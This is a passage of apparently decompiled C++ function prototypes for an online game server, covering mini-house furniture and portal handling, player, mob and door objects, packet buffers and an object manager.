int nVisitorCharNo); char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwner(ShineObjectClass::ShineMiniHouse *this); char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTitle(ShineObjectClass::ShineMiniHouse *this); ItemBag *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetFurnitureInven(ShineObjectClass::ShineMiniHouse *this, int inventype); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanObjAni(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EffectApply(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nEffectHnd, PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *pFurnitureEffectCmd); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeActivePortal(ShineObjectClass::ShineMiniHouse *this); void *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalEffect(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalEffectApply(ShineObjectClass::ShineMiniHouse *this, void *pFurnitureEffectTable, PROTO_NC_MINIHOUSE_PORTAL_EFFECT_CMD *pPortalEffectCmd); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_CanFurnitureEmotion(#325 *this, #325 *, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, char nPosition); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_FurnitureEmotionStop(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, #325 *owner); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendInnerPlayerFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, #325 *sp_joinner); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); MiniHouseEndure *__thiscall MiniHouseEndureDataBox::operator__(MiniHouseEndureDataBox *this, unsigned __int16 sub); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_CHAR_ITEM_CMD *ItemCmd, int inventype); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CompulsionMoveTo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_COMPULSIONMOVETO_REQ *moveto); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Enter(ShineObjectClass::ShineMiniHouse *this, #325 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Out(ShineObjectClass::ShineMiniHouse *this, #325 *sp); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOut(ShineObjectClass::ShineMiniHouse *this, unsigned int srn); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel(ShineObjectClass::ShineMiniHouse *this, unsigned int srn); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer(ShineObjectClass::ShineMiniHouse *this, char NewMaxPlayer); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword(ShineObjectClass::ShineMiniHouse *this, char *NewPassword); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle(ShineObjectClass::ShineMiniHouse *this, char *NewTitle); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_NOTIFY_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetArrangeMode(ShineObjectClass::ShineMiniHouse *this, char newmode); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendArrangeMode(ShineObjectClass::ShineMiniHouse *this, #325 *sp); void __thiscall ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart(void *this, void *a2); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CreateFurniture(ShineObjectClass::ShineMiniHouse *this, #434 *, PROTO_NC_MINIHOUSE_CREATE_FURNITURE_REQ *); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeleteFurniture(ShineObjectClass::ShineMiniHouse *this, #434 *, PROTO_NC_MINIHOUSE_DELETE_FURNITURE_REQ *); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ReArrangeFurniture(ShineObjectClass::ShineMiniHouse *this, #325 *, PROTO_NC_MINIHOUSE_REARRANGE_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::smh_SendFurnitureInfo(ShineObjectClass::ShineMiniHouse *this, #325 *sp); void __thiscall ShineObjectClass::ShineMiniHouse::smh_FurnitureActiveCheck(ShineObjectClass::ShineMiniHouse *this, ItemBag *itembag, int inventype); int __cdecl ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle(__int16 FurnitureHandle); ItemInventoryCell *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetItemCellByFurnitureHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_LIST_ACK *portal_list_ack); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_AddPortal(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_ADD_ACK *portal_add_ack); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_OPEN_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalClose(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_CLOSE_REQ *pReq); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nPortalItemID); char __cdecl ShineObjectClass::ShineObject::so_mh_isEndureGradeDown(); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown(ShineObjectClass::ShineMiniHouse *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DoingEndureGradeDown(ShineObjectClass::ShineMiniHouse *this, char *bIsPlaced); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, #325 *, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BuildingMiniHouse(ShineObjectClass::ShineMiniHouse *this, #434 *, char *, char *, char *, int, char, char *); void __thiscall NameString::NameString(NameString *this); void __thiscall MobTargetAggresiveALL::_MobTargetAggresiveALL(MobTargetAggresiveALL *this); void *__thiscall MobTargetAggresiveALL::_scalar_deleting_destructor_(MobTargetAggresiveALL *this, unsigned int); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMobHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetPlayerHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMiniHouseHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDropItemHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetAxialHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetBanditHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetNPCHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetEffectHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMagicFieldHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDoorHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetServantHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); void __thiscall PacketContainer::pcb_Clear(PacketContainer *this); void __thiscall BriefInformationCharacter::BriefInformationCharacter(BriefInformationCharacter *this); void __thiscall BriefInformationMob::BriefInformationMob(BriefInformationMob *this); void __thiscall BriefInformationMiniHouse::BriefInformationMiniHouse(BriefInformationMiniHouse *this); void __thiscall BriefInformationEffect::BriefInformationEffect(BriefInformationEffect *this); void __thiscall BriefInformationDoor::BriefInformationDoor(BriefInformationDoor *this); void __thiscall BriefInformationDropItem::BriefInformationDropItem(BriefInformationDropItem *this); void __thiscall BriefInformationMagicField::BriefInformationMagicField(BriefInformationMagicField *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_Setpartyslot(int this, int ps); void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundCancelReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetPossibleNewConnect(int this, char isPossibleNewConnect); void __thiscall CharacterInventory::CharacterInventory(CharacterInventory *this); void __thiscall CharacterInventory::_CharacterInventory(CharacterInventory *this); int __cdecl ShineObjectClass::ShineObject::so_Initstaticvar(); int __thiscall ShineObjectClass::ShineObject::__unnamed::__unnamed(_DWORD); // weak int __fastcall ShineObjectClass::ShineObject::__unnamed::___unnamed(SlantedCoordList::ObjectYCoordNode *this); // idb void __thiscall ShineObjectClass::ShineObject::_ShineObject(int this); ShineRTTI *__cdecl ShineObjectClass::ShineObject::GetRTTI(); CharacterInventory *__cdecl ShineObjectClass::ShineObject::so_ItemInventory(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_TradeStructure(); AllOfRangeArgument *__cdecl ShineObjectClass::ShineObject::so_TradeBoard(); CharClassManager *__cdecl ShineObjectClass::ShineObject::so_CharacterClass(); SpyNet::EspionageAgent *__cdecl ShineObjectClass::ShineObject::so_SpyAgent(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_mobile_AbstateList(); signed int __cdecl ShineObjectClass::ShineObject::so_ply_SilverWingCoolTime(); DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_PacketEncryptClass(); __int64 __cdecl ShineObjectClass::ShineObject::so_ply_CurrentExp(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_extradata(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_CharName(); int (__stdcall ***__cdecl ShineObjectClass::ShineObject::so_GetDataSocketStream())(int); char __cdecl ShineObjectClass::ShineObject::so_ObjectType(); __int16 __cdecl ShineObjectClass::ShineObject::so_WalkSpeed(); int __cdecl ShineObjectClass::ShineObject::so_LoginLocation(); int __thiscall ItemAttributeClass::iac_SetDeteleDateTime(ItemAttributeClass *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime); signed __int16 __thiscall ShineObjectClass::ShineObject::so_RemakeHandle(void *this, unsigned __int16 handle); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_Getabstatebit(); int __cdecl ShineObjectClass::ShineObject::so_drpitm_itemview(); void __cdecl ShineObjectClass::ShineObject::so_itempicked(); DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_parameter(); unsigned int __cdecl ShineObjectClass::ShineObject::sp_lastpickuptime(); CCharacterTitleZone *__cdecl ShineObjectClass::ShineObject::so_GetCharacterTitle(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetStatDistStr(); InventoryLocking::InventoryCellLock *__cdecl ShineObjectClass::ShineObject::so_ply_GetInventoryLockList(); int __cdecl ShineObjectClass::ShineObject::so_mobile_GetIdxName(); struct ChargedEffectContainer *__cdecl ShineObjectClass::ShineObject::so_ply_ChargedEffectContainer(); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mobile_GetHPChangeOrder(); ShineCommonParameter::FreeStatStr *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatStr(); ShineCommonParameter::FreeStatInt *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatInt(); ShineCommonParameter::FreeStatDex *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatDex(); ShineCommonParameter::FreeStatCon *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatCon(); ShineCommonParameter::FreeStatMen *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatMen(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_MiscTable(); signed __int16 __cdecl ShineObjectClass::ShineObject::so_getDetectRange(); void __thiscall ShineObjectClass::ShineMobileObject::smo_ChineCastCut(DiceTaiSaiDividind *this); void __thiscall BroadcastEventPopper::_BroadcastEventPopper(BroadcastEventPopper *this); void __thiscall ShineObjectClass::ShineDropItem::_ShineDropItem(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineDropItem::so_FillBriefInformation(ShineObjectClass::ShineDropItem *this, void *array); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDropItem::so_LoginLocation(ShineObjectClass::ShineDropItem *this); unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_RemakeHandle(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle); ItemTotalInformation *__thiscall ShineObjectClass::ShineDropItem::so_drpitm_itemview(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::_ShineEffectObject(ShineObjectClass::ShineEffectObject *this); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineEffectObject::so_LoginLocation(ShineObjectClass::ShineEffectObject *this); unsigned __int16 __thiscall ShineObjectClass::ShineEffectObject::so_RemakeHandle(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMobileObject::AS::_AS(ShineObjectClass::ShineMobileObject::AS *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMode(int this, char mode); void __thiscall ShineObjectClass::ShinePlayer::SocketStream::_SocketStream(ShineObjectClass::ShinePlayer::SocketStream *this); void __thiscall ShineObjectClass::ShinePlayer::__unnamed::___unnamed(void *this); void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this); void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this); void __thiscall ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage(ShineObjectClass::ShinePlayer::AccountStorage *this); void __thiscall ShineObjectClass::ShinePlayer::BoothSell::_BoothSell(ShineObjectClass::ShinePlayer::BoothSell *this); void __thiscall ChargedItemEffectList::ChargedItem::_ChargedItem(ChargedItemEffectList::ChargedItem *this); void __thiscall ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven(ShineObjectClass::ShinePlayer::ChargedInven *this); void __thiscall ShineObjectClass::ShineMagicField::_ShineMagicField(ShineObjectClass::ShineMagicField *this); ShineRTTI *__thiscall ShineObjectClass::ShineMagicField::GetRTTI(ShineObjectClass::ShineMagicField *this); void __thiscall ShineObjectClass::ShineDropItem::so_SendMyBriefInfo(ShineObjectClass::ShineMagicField *this, #325 *obj); unsigned __int16 __thiscall ShineObjectClass::ShineMagicField::so_RemakeHandle(ShineObjectClass::ShineMagicField *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this); void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this); void __thiscall MobTacticElement::MobActionArgument::Actor::Actor(MobTacticElement::MobActionArgument::Actor *this); void __thiscall MobTacticElement::MobActionArgument::Actor::_Actor(MobTacticElement::MobActionArgument::Actor *this); void __thiscall MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel(MobTargetAggresiveNoLevel *this); void *__thiscall MobTargetAggresiveNoLevel::_scalar_deleting_destructor_(MobTargetAggresiveNoLevel *this, unsigned int); void __thiscall ShineObjectClass::ShineAxialFlag::so_BroadcastLogout(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineObject::so_Disconnect(void *this, int reason, int when, int signal2WMS); void *__thiscall ShineObjectClass::ShineDropItem::_vector_deleting_destructor_(ShineObjectClass::ShineDropItem *this, unsigned int); void *__thiscall ShineObjectClass::ShineEffectObject::_vector_deleting_destructor_(ShineObjectClass::ShineEffectObject *this, unsigned int); void *__thiscall ShineObjectClass::ShineMagicField::_vector_deleting_destructor_(ShineObjectClass::ShineMagicField *this, unsigned int); int __thiscall PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(int this, int a2); int __cdecl ShineObjectClass::ShineObject::so_ply_KeepFromChat(int a1); int __cdecl ShineObjectClass::ShinePlayer::so_ply_KeepFromChat(int a1); void __thiscall ShineObjectClass::ShinePlayer::so_LogoutLog(void *this, char *flag); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_DefaultCoord(); SHINE_COORD_TYPE *__thiscall ShineObjectClass::ShineAxialFlag::so_DefaultCoord(ShineObjectClass::ShineAxialFlag *this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement(int this, int pCurRule); void __thiscall ProtocolLogger::pl_Logging(ProtocolLogger *this); __int16 __thiscall ShineObjectClass::ShineMob::sm_GetNextSkillID(int this); __int16 __thiscall ShineObjectClass::ShineMob::sm_SetNextSkillID(int this, __int16 skillid); void __thiscall ShineObjectClass::ShineMob::smo_JustAttackedFlagSet(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_MaxHP(void *this); unsigned int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTime(int this, int skill, int cooltime_milli, int delaygroupnum, int delaygroupcooltime_milli, int empowdiscount); char __thiscall ShineObjectClass::ShinePlayer::so_GetIsQuestRewardReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetIsQuestRewardReq(int this, char IsQuestRewardReq); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_AllocationZ(List *this, unsigned __int16 *hnd); char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(#325 *this, List *, unsigned __int16)); void __thiscall List::_List(List *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); int __thiscall _vcall_(void *this); char __thiscall PacketContainerBase::pcb_Flush(PacketContainerBase *this, ClientSession *session); char __thiscall PacketContainer::pcb_Flush(PacketContainer *this, ClientSession *session); char __cdecl ShineObjectClass::ShineObject::so_PacketBufferFlush(); int __thiscall ShineObjectClass::ShineObject::so_mob_LastHittedLocation(int this); void __thiscall ShineObjectClass::ShineEffectObject::so_FillBriefInformation(ShineObjectClass::ShineEffectObject *this, void *array); void __thiscall BriefInformationEffect::bie_fill(BriefInformationEffect *this, PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *array); void __thiscall ShineObjectClass::ShineDropItem::so_itempicked(ShineObjectClass::ShineDropItem *this); void __thiscall VectorClass::UnitVector::UnitVector(VectorClass::UnitVector *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b); char __thiscall SlantedCoordList::CoordedNode::cn_IsValid(SlantedCoordList::CoordedNode *this); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(PROTO_NC_CHAR_WEDDINGDATA_ACK *this); int __thiscall ShineObjectClass::ShineObject::ShineObject(int this); signed int __cdecl ShineObjectClass::ShineObject::so_DamageLog(int spot, int hpchangeorder, int damage, int resthp); void __thiscall ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(void *this); void __thiscall ShineObjectClass::ShineObject::so_Logout(void *this); char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int axialfunc, int a3, int a4, int a5, int tome); char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int ala, int tome); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int axialfunc, int a7, int a8, int a9, int tome, int excepter); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int ala, int tome, int excepter); signed __int16 __thiscall ShineObjectClass::ShineObject::so_mapindex(void *this); void __thiscall ShineObjectClass::ShineDropItem::ShineDropItem(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::ShineEffectObject(ShineObjectClass::ShineEffectObject *this); void *__thiscall ShineObjectClass::ShineMobileObject::ShineMobileObject(void *hd); ShineRTTI *__cdecl ShineObjectClass::ShineMobileObject::GetRTTI(); unsigned int __thiscall ShineObjectClass::ShineMobileObject::so_SetLastBattle(int this); bool __thiscall ShineObjectClass::ShineMobileObject::so_isinbattle(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_CharacterClass(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_SpyAgent(void *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_GetMode(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_AbstateList(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInMoving(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Move2Where(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::so_OverlapFactor(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SendMyMoveInfo(int this, int a2); _UNKNOWN *__cdecl ShineObjectClass::ShineMobileObject::so_Getabstatebit(); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParamReady(int this); void __thiscall ShineObjectClass::ShineMobileObject::so_batobj_DamageApply(int this, int damage); int __thiscall ShineObjectClass::ShineMobileObject::so_batobj_GetDamage(int this); char __fastcall ShineObjectClass::ShineMobileObject::so_AbnormalState_Reset(ABSTATEINDEX a1, int stateid); int __thiscall ShineObjectClass::ShineMobileObject::so_parameter(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::smo_DuringCast(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsKillMe(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsClickMe(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetClicker(int this, __int16 clicker); void __thiscall ShineObjectClass::ShineMobileObject::so_YouHaveAlreadyDead(int this); bool __thiscall ShineObjectClass::ShineMobileObject::so_AmIAlreadyDead(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveSpeed(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveState(int this); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcSpeed(int this, int newspeed); char __thiscall ShineObjectClass::ShineMobileObject::smo_SPCheckConsume(void *this, __int16 skill, int sklinf, int empow); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck(void *this, int ts); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DuringFlying(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetHPChangeOrder(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DeadCheck(int this, int cause); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveReserve(int this, int goal, int speed, MoveManager::MMState state, int md); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveHalt(int this); void __thiscall ShineObjectClass::ShineMobileObject::_ShineMobileObject(int this); void __thiscall MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(MobTargetPlayerCaptivate *this); void *__thiscall MobTargetPlayerCaptivate::_vector_deleting_destructor_(MobTargetPlayerCaptivate *this, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_briefequipset(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(void *this); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(void *this, const char *title); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuItem(void *this, void (__thiscall *func)(ServerMenuFuncter *, #434 *, ServerMenuArgument *), const char *str, ServerMenuArgument *arg); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(void *this, char priority, __int16 npcHandle, int npcPosition, __int16 limitRange); void __thiscall ShineObjectClass::ShinePlayer::sp_DummyFunction(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineDoor::ShineDoor(ShineObjectClass::ShineDoor *this); ShineRTTI *__thiscall ShineObjectClass::ShineDoor::GetRTTI(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineDoor::so_SendMyBriefInfo(ShineObjectClass::ShineDoor *this, #325 *obj); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDoor::so_LoginLocation(ShineObjectClass::ShineDoor *this); unsigned __int16 __thiscall ShineObjectClass::ShineDoor::so_RemakeHandle(ShineObjectClass::ShineDoor *this, unsigned __int16 handle); char *__thiscall ShineObjectClass::ShineDoor::so_mobile_GetIdxName(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineDoor::so_FillBriefInformation(ShineObjectClass::ShineDoor *this, void *array); int __thiscall PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_(int this, int a2); void __thiscall ShineObjectClass::ShineDoor::_ShineDoor(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineMagicField::ShineMagicField(ShineObjectClass::ShineMagicField *this); void __thiscall ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this); ShineRTTI *__thiscall ShineObjectClass::ShineMiniHouse::GetRTTI(ShineObjectClass::ShineMiniHouse *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_SendMyBriefInfo(ShineObjectClass::ShineMiniHouse *this, #325 *obj); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_RemakeHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMiniHouse::so_FillBriefInformation(ShineObjectClass::ShineMiniHouse *this, void *array); int __thiscall PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_(int this, int a2); void __thiscall MobTacticElement::MobActionArgument::Selector::Selector(MobTacticElement::MobActionArgument::Selector *this); void __thiscall MobTacticElement::MobActionArgument::Selector::_Selector(MobTacticElement::MobActionArgument::Selector *this); void __thiscall ShineObjectClass::ShinePlayer::so_SendProtocol(void *this, __int16 depart, __int16 command); void __thiscall ShineObjectClass::ShinePlayer::so_SendErrorCode(void *this, __int16 depart, __int16 command, __int16 err); void __thiscall ShineObjectClass::ShinePlayer::so_allparametercalculate(void *this); void __thiscall ShineObjectClass::ShineObject::so_BroadcastLogout(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_Disconnect(void *this, int reason, int when, int signal2WMS); int __thiscall ShineObjectClass::ShinePlayer::so_EncSeedSet(void *this); void __thiscall ShineObjectEachList::_ShineObjectEachList(ShineObjectEachList *this); char __thiscall ShineObjectEachList::soel_Routine(ShineObjectEachList *this, List *lst, unsigned __int16 handle); void __thiscall ShineObjectManager::_ShineObjectManager(ShineObjectManager *this); void *__thiscall ShineObjectClass::ShineDoor::_vector_deleting_destructor_(ShineObjectClass::ShineDoor *this, unsigned int); void *__thiscall ShineObjectClass::ShineMiniHouse::_vector_deleting_destructor_(ShineObjectClass::ShineMiniHouse *this, unsigned int); #325 *__thiscall ShineObjectManager::som_GetObjectAbsolute(ShineObjectManager *this, unsigned __int16 handle); #325 *__thiscall ShineObjectManager::som_GetObject(ShineObjectManager *this, unsigned __int16 handle); #325 *__thiscall ShineObjectManager::som_AllocObject(ShineObjectManager *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ShineCharRegnumFinder::lid_Call(ShineCharRegnumFinder *this, #325 *, unsigned __int16); char __thiscall ShineCharIDFinder::lid_Call(ShineCharIDFinder *this, #325 *, unsigned __int16); #325 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, unsigned int chrregnum); #325 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, Name4 *chrid); #325 